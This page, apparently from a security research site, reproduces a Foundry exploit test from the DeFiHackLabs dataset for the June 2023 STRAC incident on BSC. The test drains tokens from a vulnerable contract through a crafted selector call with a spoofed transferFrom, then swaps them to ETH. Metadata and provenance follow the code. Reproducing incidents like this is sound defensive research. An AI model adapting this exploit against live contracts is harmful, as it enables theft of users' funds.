Public reproduction file
src/test/2023-06/STRAC_exp.sol
Public reproduction file for dataset entry STRAC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~13 $ETH5// Attacker : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea36// Attack Contract : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea37// Vulnerable Contract : https://bscscan.com/address/0x1f90bdeb5674833868ee9b36707b929024e7a5138// Attack Tx : https://bscscan.com/tx/0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d010import "forge-std/Test.sol";11import "./../interface.sol";13contract ContractTest is Test {14 IERC20 STRAC = IERC20(0x9801DA0AA142749295692c7cb3241E4EE2B80Bda);15 IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);16 IPancakePair ETH_STRAC_LpPool = IPancakePair(0x2976bD3774622367CE7A575D28201480e640966F);17 IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x3870D09F59564d8b86B052b1FB1e27b961f9BC73));18 address Contract_0x1f90 = 0x1F90BDeB5674833868EE9b36707B929024E7A513;20 function setUp() public {21 vm.createSelectFork("bsc", 29_474_566 - 1);22 vm.label(address(STRAC), "STRAC");23 vm.label(address(Contract_0x1f90), "Contract_0x1f90");24 }26 function testExploit() public {27 STRAC.approve(address(PancakeRouter), type(uint256).max);28 emit log_named_decimal_uint("Attacker ETH balance before attack", ETH.balanceOf(address(this)), 18);29 Contract_0x1f90.call(30 abi.encodeWithSelector(bytes4(0x4a75084c), address(this), STRAC, STRAC.balanceOf(address(Contract_0x1f90)))31 );32 TOKENToETH();33 emit log_named_decimal_uint("Attacker ETH balance after attack", ETH.balanceOf(address(this)), 18);34 }36 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {37 return true;38 }40 function TOKENToETH() internal {41 (uint256 reserveETH, uint256 reserveTOKEN,) = ETH_STRAC_LpPool.getReserves();42 uint256 amountOut;44 (uint256 reserveETH_after, uint256 reserveTOKEN_after,) = ETH_STRAC_LpPool.getReserves();46 amountOut = PancakeRouter.getAmountOut(STRAC.balanceOf(address(this)), reserveTOKEN, reserveETH);47 STRAC.transfer(address(ETH_STRAC_LpPool), STRAC.balanceOf(address(this)));48 ETH_STRAC_LpPool.swap(amountOut * 997 / 1000, 0, address(this), "");49 }51 fallback() external payable {}52 receive() external payable {}53}Analysis
Dataset entry
Public Foundry test for “STRAC” (2023-06-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DDCoin_exp.solSame month in the dataset · 151 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc7823188d459e1744c0e5fd58a0e074e92982ea3
- Attack Contract
0xc7823188d459e1744c0e5fd58a0e074e92982ea3
- Vulnerable Contract
0x1f90bdeb5674833868ee9b36707b929024e7a513
- Attack Tx
0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0
File record
- Name
- STRAC
- Path
- src/test/2023-06/STRAC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 24e2303bfe4f4e57118c79f885cbb299aacd6629
- Language
- Solidity
- Size
- 54 lines
- Date
- 2023-06-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/STRAC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 24e2303bfe4f4e57118c79f885cbb299aacd6629, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.